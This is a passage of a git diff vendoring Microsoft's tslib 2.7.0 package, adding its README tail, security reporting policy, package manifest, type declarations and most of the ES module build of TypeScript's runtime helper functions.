["jspm_packages/npm/tslib@2.x.y/tslib.d.ts"] + } + } +} +``` + +## Deployment + +- Choose your new version number +- Set it in `package.json` and `bower.json` +- Create a tag: `git tag [version]` +- Push the tag: `git push --tags` +- Create a [release in GitHub](https://github.com/microsoft/tslib/releases) +- Run the [publish to npm](https://github.com/microsoft/tslib/actions?query=workflow%3A%22Publish+to+NPM%22) workflow + +Done. + +# Contribute + +There are many ways to [contribute](https://github.com/Microsoft/TypeScript/blob/master/CONTRIBUTING.md) to TypeScript. + +* [Submit bugs](https://github.com/Microsoft/TypeScript/issues) and help us verify fixes as they are checked in. +* Review the [source code changes](https://github.com/Microsoft/TypeScript/pulls). +* Engage with other TypeScript users and developers on [StackOverflow](http://stackoverflow.com/questions/tagged/typescript). +* Join the [#typescript](http://twitter.com/#!/search/realtime/%23typescript) discussion on Twitter. +* [Contribute bug fixes](https://github.com/Microsoft/TypeScript/blob/master/CONTRIBUTING.md). + +# Documentation + +* [Quick tutorial](http://www.typescriptlang.org/Tutorial) +* [Programming handbook](http://www.typescriptlang.org/Handbook) +* [Homepage](http://www.typescriptlang.org/) diff --git a/node_modules/tslib/SECURITY.md b/node_modules/tslib/SECURITY.md new file mode 100644 index 000000000000..869fdfe2b246 --- /dev/null +++ b/node_modules/tslib/SECURITY.md @@ -0,0 +1,41 @@ + + +## Security + +Microsoft takes the security of our software products and services seriously, which includes all source code repositories managed through our GitHub organizations, which include [Microsoft](https://github.com/Microsoft), [Azure](https://github.com/Azure), [DotNet](https://github.com/dotnet), [AspNet](https://github.com/aspnet), [Xamarin](https://github.com/xamarin), and [our GitHub organizations](https://opensource.microsoft.com/). + +If you believe you have found a security vulnerability in any Microsoft-owned repository that meets [Microsoft's definition of a security vulnerability](https://aka.ms/opensource/security/definition), please report it to us as described below. + +## Reporting Security Issues + +**Please do not report security vulnerabilities through public GitHub issues.** + +Instead, please report them to the Microsoft Security Response Center (MSRC) at [https://msrc.microsoft.com/create-report](https://aka.ms/opensource/security/create-report). + +If you prefer to submit without logging in, send email to [secure@microsoft.com](mailto:secure@microsoft.com). If possible, encrypt your message with our PGP key; please download it from the [Microsoft Security Response Center PGP Key page](https://aka.ms/opensource/security/pgpkey). + +You should receive a response within 24 hours. If for some reason you do not, please follow up via email to ensure we received your original message. Additional information can be found at [microsoft.com/msrc](https://aka.ms/opensource/security/msrc). + +Please include the requested information listed below (as much as you can provide) to help us better understand the nature and scope of the possible issue: + + * Type of issue (e.g. buffer overflow, SQL injection, cross-site scripting, etc.) + * Full paths of source file(s) related to the manifestation of the issue + * The location of the affected source code (tag/branch/commit or direct URL) + * Any special configuration required to reproduce the issue + * Step-by-step instructions to reproduce the issue + * Proof-of-concept or exploit code (if possible) + * Impact of the issue, including how an attacker might exploit the issue + +This information will help us triage your report more quickly. + +If you are reporting for a bug bounty, more complete reports can contribute to a higher bounty award. Please visit our [Microsoft Bug Bounty Program](https://aka.ms/opensource/security/bounty) page for more details about our active programs. + +## Preferred Languages + +We prefer all communications to be in English. + +## Policy + +Microsoft follows the principle of [Coordinated Vulnerability Disclosure](https://aka.ms/opensource/security/cvd). + + diff --git a/node_modules/tslib/modules/index.d.ts b/node_modules/tslib/modules/index.d.ts new file mode 100644 index 000000000000..0fedae881e90 --- /dev/null +++ b/node_modules/tslib/modules/index.d.ts @@ -0,0 +1,37 @@ +// Note: named reexports are used instead of `export *` because +// TypeScript itself doesn't resolve the `export *` when checking +// if a particular helper exists. +export { + __extends, + __assign, + __rest, + __decorate, + __param, + __esDecorate, + __runInitializers, + __propKey, + __setFunctionName, + __metadata, + __awaiter, + __generator, + __exportStar, + __values, + __read, + __spread, + __spreadArrays, + __spreadArray, + __await, + __asyncGenerator, + __asyncDelegator, + __asyncValues, + __makeTemplateObject, + __importStar, + __importDefault, + __classPrivateFieldGet, + __classPrivateFieldSet, + __classPrivateFieldIn, + __createBinding, + __addDisposableResource, + __disposeResources, +} from '../tslib.js'; +export * as default from '../tslib.js'; diff --git a/node_modules/tslib/modules/index.js b/node_modules/tslib/modules/index.js new file mode 100644 index 000000000000..af9f5ac4e248 --- /dev/null +++ b/node_modules/tslib/modules/index.js @@ -0,0 +1,68 @@ +import tslib from '../tslib.js'; +const { + __extends, + __assign, + __rest, + __decorate, + __param, + __esDecorate, + __runInitializers, + __propKey, + __setFunctionName, + __metadata, + __awaiter, + __generator, + __exportStar, + __createBinding, + __values, + __read, + __spread, + __spreadArrays, + __spreadArray, + __await, + __asyncGenerator, + __asyncDelegator, + __asyncValues, + __makeTemplateObject, + __importStar, + __importDefault, + __classPrivateFieldGet, + __classPrivateFieldSet, + __classPrivateFieldIn, + __addDisposableResource, + __disposeResources, +} = tslib; +export { + __extends, + __assign, + __rest, + __decorate, + __param, + __esDecorate, + __runInitializers, + __propKey, + __setFunctionName, + __metadata, + __awaiter, + __generator, + __exportStar, + __createBinding, + __values, + __read, + __spread, + __spreadArrays, + __spreadArray, + __await, + __asyncGenerator, + __asyncDelegator, + __asyncValues, + __makeTemplateObject, + __importStar, + __importDefault, + __classPrivateFieldGet, + __classPrivateFieldSet, + __classPrivateFieldIn, + __addDisposableResource, + __disposeResources, +}; +export default tslib; diff --git a/node_modules/tslib/modules/package.json b/node_modules/tslib/modules/package.json new file mode 100644 index 000000000000..aafa0e4b45ab --- /dev/null +++ b/node_modules/tslib/modules/package.json @@ -0,0 +1,3 @@ +{ + "type": "module" +} \ No newline at end of file diff --git a/node_modules/tslib/package.json b/node_modules/tslib/package.json new file mode 100644 index 000000000000..a068b42d4d02 --- /dev/null +++ b/node_modules/tslib/package.json @@ -0,0 +1,47 @@ +{ + "name": "tslib", + "author": "Microsoft Corp.", + "homepage": "https://www.typescriptlang.org/", + "version": "2.7.0", + "license": "0BSD", + "description": "Runtime library for TypeScript helper functions", + "keywords": [ + "TypeScript", + "Microsoft", + "compiler", + "language", + "javascript", + "tslib", + "runtime" + ], + "bugs": { + "url": "https://github.com/Microsoft/TypeScript/issues" + }, + "repository": { + "type": "git", + "url": "https://github.com/Microsoft/tslib.git" + }, + "main": "tslib.js", + "module": "tslib.es6.js", + "jsnext:main": "tslib.es6.js", + "typings": "tslib.d.ts", + "sideEffects": false, + "exports": { + ".": { + "module": { + "types": "./modules/index.d.ts", + "default": "./tslib.es6.mjs" + }, + "import": { + "node": "./modules/index.js", + "default": { + "types": "./modules/index.d.ts", + "default": "./tslib.es6.mjs" + } + }, + "default": "./tslib.js" + }, + "./*": "./*", + "./": "./" + } +} diff --git a/node_modules/tslib/tslib.d.ts b/node_modules/tslib/tslib.d.ts new file mode 100644 index 000000000000..45762215ad9a --- /dev/null +++ b/node_modules/tslib/tslib.d.ts @@ -0,0 +1,453 @@ +/****************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ + +/** + * Used to shim class extends. + * + * @param d The derived class. + * @param b The base class. + */ +export declare function __extends(d: Function, b: Function): void; + +/** + * Copy the values of all of the enumerable own properties from one or more source objects to a + * target object. Returns the target object. + * + * @param t The target object to copy to. + * @param sources One or more source objects from which to copy properties + */ +export declare function __assign(t: any, ...sources: any[]): any; + +/** + * Performs a rest spread on an object. + * + * @param t The source value. + * @param propertyNames The property names excluded from the rest spread. + */ +export declare function __rest(t: any, propertyNames: (string | symbol)[]): any; + +/** + * Applies decorators to a target object + * + * @param decorators The set of decorators to apply. + * @param target The target object. + * @param key If specified, the own property to apply the decorators to. + * @param desc The property descriptor, defaults to fetching the descriptor from the target object. + * @experimental + */ +export declare function __decorate(decorators: Function[], target: any, key?: string | symbol, desc?: any): any; + +/** + * Creates an observing function decorator from a parameter decorator. + * + * @param paramIndex The parameter index to apply the decorator to. + * @param decorator The parameter decorator to apply. Note that the return value is ignored. + * @experimental + */ +export declare function __param(paramIndex: number, decorator: Function): Function; + +/** + * Applies decorators to a class or class member, following the native ECMAScript decorator specification. + * @param ctor For non-field class members, the class constructor. Otherwise, `null`. + * @param descriptorIn The `PropertyDescriptor` to use when unable to look up the property from `ctor`. + * @param decorators The decorators to apply + * @param contextIn The `DecoratorContext` to clone for each decorator application. + * @param initializers An array of field initializer mutation functions into which new initializers are written. + * @param extraInitializers An array of extra initializer functions into which new initializers are written. + */ +export declare function __esDecorate(ctor: Function | null, descriptorIn: object | null, decorators: Function[], contextIn: object, initializers: Function[] | null, extraInitializers: Function[]): void; + +/** + * Runs field initializers or extra initializers generated by `__esDecorate`. + * @param thisArg The `this` argument to use. + * @param initializers The array of initializers to evaluate. + * @param value The initial value to pass to the initializers. + */ +export declare function __runInitializers(thisArg: unknown, initializers: Function[], value?: any): any; + +/** + * Converts a computed property name into a `string` or `symbol` value. + */ +export declare function __propKey(x: any): string | symbol; + +/** + * Assigns the name of a function derived from the left-hand side of an assignment. + * @param f The function to rename. + * @param name The new name for the function. + * @param prefix A prefix (such as `"get"` or `"set"`) to insert before the name. + */ +export declare function __setFunctionName(f: Function, name: string | symbol, prefix?: string): Function; + +/** + * Creates a decorator that sets metadata. + * + * @param metadataKey The metadata key + * @param metadataValue The metadata value + * @experimental + */ +export declare function __metadata(metadataKey: any, metadataValue: any): Function; + +/** + * Converts a generator function into a pseudo-async function, by treating each `yield` as an `await`. + * + * @param thisArg The reference to use as the `this` value in the generator function + * @param _arguments The optional arguments array + * @param P The optional promise constructor argument, defaults to the `Promise` property of the global object. + * @param generator The generator function + */ +export declare function __awaiter(thisArg: any, _arguments: any, P: Function, generator: Function): any; + +/** + * Creates an Iterator object using the body as the implementation. + * + * @param thisArg The reference to use as the `this` value in the function + * @param body The generator state-machine based implementation. + * + * @see [./docs/generator.md] + */ +export declare function __generator(thisArg: any, body: Function): any; + +/** + * Creates bindings for all enumerable properties of `m` on `exports` + * + * @param m The source object + * @param o The `exports` object. + */ +export declare function __exportStar(m: any, o: any): void; + +/** + * Creates a value iterator from an `Iterable` or `ArrayLike` object. + * + * @param o The object. + * @throws {TypeError} If `o` is neither `Iterable`, nor an `ArrayLike`. + */ +export declare function __values(o: any): any; + +/** + * Reads values from an `Iterable` or `ArrayLike` object and returns the resulting array. + * + * @param o The object to read from. + * @param n The maximum number of arguments to read, defaults to `Infinity`. + */ +export declare function __read(o: any, n?: number): any[]; + +/** + * Creates an array from iterable spread. + * + * @param args The Iterable objects to spread. + * @deprecated since TypeScript 4.2 - Use `__spreadArray` + */ +export declare function __spread(...args: any[][]): any[]; + +/** + * Creates an array from array spread. + * + * @param args The ArrayLikes to spread into the resulting array. + * @deprecated since TypeScript 4.2 - Use `__spreadArray` + */ +export declare function __spreadArrays(...args: any[][]): any[]; + +/** + * Spreads the `from` array into the `to` array. + * + * @param pack Replace empty elements with `undefined`. + */ +export declare function __spreadArray(to: any[], from: any[], pack?: boolean): any[]; + +/** + * Creates an object that signals to `__asyncGenerator` that it shouldn't be yielded, + * and instead should be awaited and the resulting value passed back to the generator. + * + * @param v The value to await. + */ +export declare function __await(v: any): any; + +/** + * Converts a generator function into an async generator function, by using `yield __await` + * in place of normal `await`. + * + * @param thisArg The reference to use as the `this` value in the generator function + * @param _arguments The optional arguments array + * @param generator The generator function + */ +export declare function __asyncGenerator(thisArg: any, _arguments: any, generator: Function): any; + +/** + * Used to wrap a potentially async iterator in such a way so that it wraps the result + * of calling iterator methods of `o` in `__await` instances, and then yields the awaited values. + * + * @param o The potentially async iterator. + * @returns A synchronous iterator yielding `__await` instances on every odd invocation + * and returning the awaited `IteratorResult` passed to `next` every even invocation. + */ +export declare function __asyncDelegator(o: any): any; + +/** + * Creates a value async iterator from an `AsyncIterable`, `Iterable` or `ArrayLike` object. + * + * @param o The object. + * @throws {TypeError} If `o` is neither `AsyncIterable`, `Iterable`, nor an `ArrayLike`. + */ +export declare function __asyncValues(o: any): any; + +/** + * Creates a `TemplateStringsArray` frozen object from the `cooked` and `raw` arrays. + * + * @param cooked The cooked possibly-sparse array. + * @param raw The raw string content. + */ +export declare function __makeTemplateObject(cooked: string[], raw: string[]): TemplateStringsArray; + +/** + * Used to shim default and named imports in ECMAScript Modules transpiled to CommonJS. + * + * ```js + * import Default, { Named, Other } from "mod"; + * // or + * import { default as Default, Named, Other } from "mod"; + * ``` + * + * @param mod The CommonJS module exports object. + */ +export declare function __importStar(mod: T): T; + +/** + * Used to shim default imports in ECMAScript Modules transpiled to CommonJS. + * + * ```js + * import Default from "mod"; + * ``` + * + * @param mod The CommonJS module exports object. + */ +export declare function __importDefault(mod: T): T | { default: T }; + +/** + * Emulates reading a private instance field. + * + * @param receiver The instance from which to read the private field. + * @param state A WeakMap containing the private field value for an instance. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * + * @throws {TypeError} If `state` doesn't have an entry for `receiver`. + */ +export declare function __classPrivateFieldGet( + receiver: T, + state: { has(o: T): boolean, get(o: T): V | undefined }, + kind?: "f" +): V; + +/** + * Emulates reading a private static field. + * + * @param receiver The object from which to read the private static field. + * @param state The class constructor containing the definition of the static field. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The descriptor that holds the static field value. + * + * @throws {TypeError} If `receiver` is not `state`. + */ +export declare function __classPrivateFieldGet unknown, V>( + receiver: T, + state: T, + kind: "f", + f: { value: V } +): V; + +/** + * Emulates evaluating a private instance "get" accessor. + * + * @param receiver The instance on which to evaluate the private "get" accessor. + * @param state A WeakSet used to verify an instance supports the private "get" accessor. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The "get" accessor function to evaluate. + * + * @throws {TypeError} If `state` doesn't have an entry for `receiver`. + */ +export declare function __classPrivateFieldGet( + receiver: T, + state: { has(o: T): boolean }, + kind: "a", + f: () => V +): V; + +/** + * Emulates evaluating a private static "get" accessor. + * + * @param receiver The object on which to evaluate the private static "get" accessor. + * @param state The class constructor containing the definition of the static "get" accessor. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The "get" accessor function to evaluate. + * + * @throws {TypeError} If `receiver` is not `state`. + */ +export declare function __classPrivateFieldGet unknown, V>( + receiver: T, + state: T, + kind: "a", + f: () => V +): V; + +/** + * Emulates reading a private instance method. + * + * @param receiver The instance from which to read a private method. + * @param state A WeakSet used to verify an instance supports the private method. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The function to return as the private instance method. + * + * @throws {TypeError} If `state` doesn't have an entry for `receiver`. + */ +export declare function __classPrivateFieldGet unknown>( + receiver: T, + state: { has(o: T): boolean }, + kind: "m", + f: V +): V; + +/** + * Emulates reading a private static method. + * + * @param receiver The object from which to read the private static method. + * @param state The class constructor containing the definition of the static method. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The function to return as the private static method. + * + * @throws {TypeError} If `receiver` is not `state`. + */ +export declare function __classPrivateFieldGet unknown, V extends (...args: any[]) => unknown>( + receiver: T, + state: T, + kind: "m", + f: V +): V; + +/** + * Emulates writing to a private instance field. + * + * @param receiver The instance on which to set a private field value. + * @param state A WeakMap used to store the private field value for an instance. + * @param value The value to store in the private field. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * + * @throws {TypeError} If `state` doesn't have an entry for `receiver`. + */ +export declare function __classPrivateFieldSet( + receiver: T, + state: { has(o: T): boolean, set(o: T, value: V): unknown }, + value: V, + kind?: "f" +): V; + +/** + * Emulates writing to a private static field. + * + * @param receiver The object on which to set the private static field. + * @param state The class constructor containing the definition of the private static field. + * @param value The value to store in the private field. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The descriptor that holds the static field value. + * + * @throws {TypeError} If `receiver` is not `state`. + */ +export declare function __classPrivateFieldSet unknown, V>( + receiver: T, + state: T, + value: V, + kind: "f", + f: { value: V } +): V; + +/** + * Emulates writing to a private instance "set" accessor. + * + * @param receiver The instance on which to evaluate the private instance "set" accessor. + * @param state A WeakSet used to verify an instance supports the private "set" accessor. + * @param value The value to store in the private accessor. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The "set" accessor function to evaluate. + * + * @throws {TypeError} If `state` doesn't have an entry for `receiver`. + */ +export declare function __classPrivateFieldSet( + receiver: T, + state: { has(o: T): boolean }, + value: V, + kind: "a", + f: (v: V) => void +): V; + +/** + * Emulates writing to a private static "set" accessor. + * + * @param receiver The object on which to evaluate the private static "set" accessor. + * @param state The class constructor containing the definition of the static "set" accessor. + * @param value The value to store in the private field. + * @param kind Either `"f"` for a field, `"a"` for an accessor, or `"m"` for a method. + * @param f The "set" accessor function to evaluate. + * + * @throws {TypeError} If `receiver` is not `state`. + */ +export declare function __classPrivateFieldSet unknown, V>( + receiver: T, + state: T, + value: V, + kind: "a", + f: (v: V) => void +): V; + +/** + * Checks for the existence of a private field/method/accessor. + * + * @param state The class constructor containing the static member, or the WeakMap or WeakSet associated with a private instance member. + * @param receiver The object for which to test the presence of the private member. + */ +export declare function __classPrivateFieldIn( + state: (new (...args: any[]) => unknown) | { has(o: any): boolean }, + receiver: unknown, +): boolean; + +/** + * Creates a re-export binding on `object` with key `objectKey` that references `target[key]`. + * + * @param object The local `exports` object. + * @param target The object to re-export from. + * @param key The property key of `target` to re-export. + * @param objectKey The property key to re-export as. Defaults to `key`. + */ +export declare function __createBinding(object: object, target: object, key: PropertyKey, objectKey?: PropertyKey): void; + +/** + * Adds a disposable resource to a resource-tracking environment object. + * @param env A resource-tracking environment object. + * @param value Either a Disposable or AsyncDisposable object, `null`, or `undefined`. + * @param async When `true`, `AsyncDisposable` resources can be added. When `false`, `AsyncDisposable` resources cannot be added. + * @returns The {@link value} argument. + * + * @throws {TypeError} If {@link value} is not an object, or if either `Symbol.dispose` or `Symbol.asyncDispose` are not + * defined, or if {@link value} does not have an appropriate `Symbol.dispose` or `Symbol.asyncDispose` method. + */ +export declare function __addDisposableResource(env: { stack: { value?: unknown, dispose?: Function, async: boolean }[]; error: unknown; hasError: boolean; }, value: T, async: boolean): T; + +/** + * Disposes all resources in a resource-tracking environment object. + * @param env A resource-tracking environment object. + * @returns A {@link Promise} if any resources in the environment were marked as `async` when added; otherwise, `void`. + * + * @throws {SuppressedError} if an error thrown during disposal would have suppressed a prior error from disposal or the + * error recorded in the resource-tracking environment object. + * @seealso {@link __addDisposableResource} + */ +export declare function __disposeResources(env: { stack: { value?: unknown, dispose?: Function, async: boolean }[]; error: unknown; hasError: boolean; }): any; diff --git a/node_modules/tslib/tslib.es6.html b/node_modules/tslib/tslib.es6.html new file mode 100644 index 000000000000..b122e41b06af --- /dev/null +++ b/node_modules/tslib/tslib.es6.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/node_modules/tslib/tslib.es6.js b/node_modules/tslib/tslib.es6.js new file mode 100644 index 000000000000..fc18d15bf850 --- /dev/null +++ b/node_modules/tslib/tslib.es6.js @@ -0,0 +1,379 @@ +/****************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ +/* global Reflect, Promise, SuppressedError, Symbol, Iterator */ + +var extendStatics = function(d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; + return extendStatics(d, b); +}; + +export function __extends(d, b) { + if (typeof b !== "function" && b !== null) + throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); +} + +export var __assign = function() { + __assign = Object.assign || function __assign(t) { + for (var s, i = 1, n = arguments.length; i < n; i++) { + s = arguments[i]; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; + } + return t; + } + return __assign.apply(this, arguments); +} + +export function __rest(s, e) { + var t = {}; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) + t[p] = s[p]; + if (s != null && typeof Object.getOwnPropertySymbols === "function") + for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { + if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) + t[p[i]] = s[p[i]]; + } + return t; +} + +export function __decorate(decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +} + +export function __param(paramIndex, decorator) { + return function (target, key) { decorator(target, key, paramIndex); } +} + +export function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { + function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } + var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; + var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; + var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); + var _, done = false; + for (var i = decorators.length - 1; i >= 0; i--) { + var context = {}; + for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; + for (var p in contextIn.access) context.access[p] = contextIn.access[p]; + context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; + var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); + if (kind === "accessor") { + if (result === void 0) continue; + if (result === null || typeof result !== "object") throw new TypeError("Object expected"); + if (_ = accept(result.get)) descriptor.get = _; + if (_ = accept(result.set)) descriptor.set = _; + if (_ = accept(result.init)) initializers.unshift(_); + } + else if (_ = accept(result)) { + if (kind === "field") initializers.unshift(_); + else descriptor[key] = _; + } + } + if (target) Object.defineProperty(target, contextIn.name, descriptor); + done = true; +}; + +export function __runInitializers(thisArg, initializers, value) { + var useValue = arguments.length > 2; + for (var i = 0; i < initializers.length; i++) { + value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); + } + return useValue ? value : void 0; +}; + +export function __propKey(x) { + return typeof x === "symbol" ? x : "".concat(x); +}; + +export function __setFunctionName(f, name, prefix) { + if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; + return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); +}; + +export function __metadata(metadataKey, metadataValue) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); +} + +export function __awaiter(thisArg, _arguments, P, generator) { + function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); +} + +export function __generator(thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); + return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (g && (g = 0, op[0] && (_ = 0)), _) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } +} + +export var __createBinding = Object.create ? (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + var desc = Object.getOwnPropertyDescriptor(m, k); + if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { + desc = { enumerable: true, get: function() { return m[k]; } }; + } + Object.defineProperty(o, k2, desc); +}) : (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + o[k2] = m[k]; +}); + +export function __exportStar(m, o) { + for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); +} + +export function __values(o) { + var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; + if (m) return m.call(o); + if (o && typeof o.length === "number") return { + next: function () { + if (o && i >= o.length) o = void 0; + return { value: o && o[i++], done: !o }; + } + }; + throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); +} + +export function __read(o, n) { + var m = typeof Symbol === "function" && o[Symbol.iterator]; + if (!m) return o; + var i = m.call(o), r, ar = [], e; + try { + while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); + } + catch (error) { e = { error: error }; } + finally { + try { + if (r && !r.done && (m = i["return"])) m.call(i); + } + finally { if (e) throw e.error; } + } + return ar; +} + +/** @deprecated */ +export function __spread() { + for (var ar = [], i = 0; i < arguments.length; i++) + ar = ar.concat(__read(arguments[i])); + return ar; +} + +/** @deprecated */ +export function __spreadArrays() { + for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; + for (var r = Array(s), k = 0, i = 0; i < il; i++) + for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) + r[k] = a[j]; + return r; +} + +export function __spreadArray(to, from, pack) { + if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { + if (ar || !(i in from)) { + if (!ar) ar = Array.prototype.slice.call(from, 0, i); + ar[i] = from[i]; + } + } + return to.concat(ar || Array.prototype.slice.call(from)); +} + +export function __await(v) { + return this instanceof __await ? (this.v = v, this) : new __await(v); +} + +export function __asyncGenerator(thisArg, _arguments, generator) { + if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); + var g = generator.apply(thisArg, _arguments || []), i, q = []; + return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; + function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } + function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } + function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } + function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } + function fulfill(value) { resume("next", value); } + function reject(value) { resume("throw", value); } + function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } +} + +export function __asyncDelegator(o) { + var i, p; + return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; + function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } +} + +export function __asyncValues(o) { + if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); + var m = o[Symbol.asyncIterator], i; + return m ? m.call(o) : (o = typeof __values === "function" 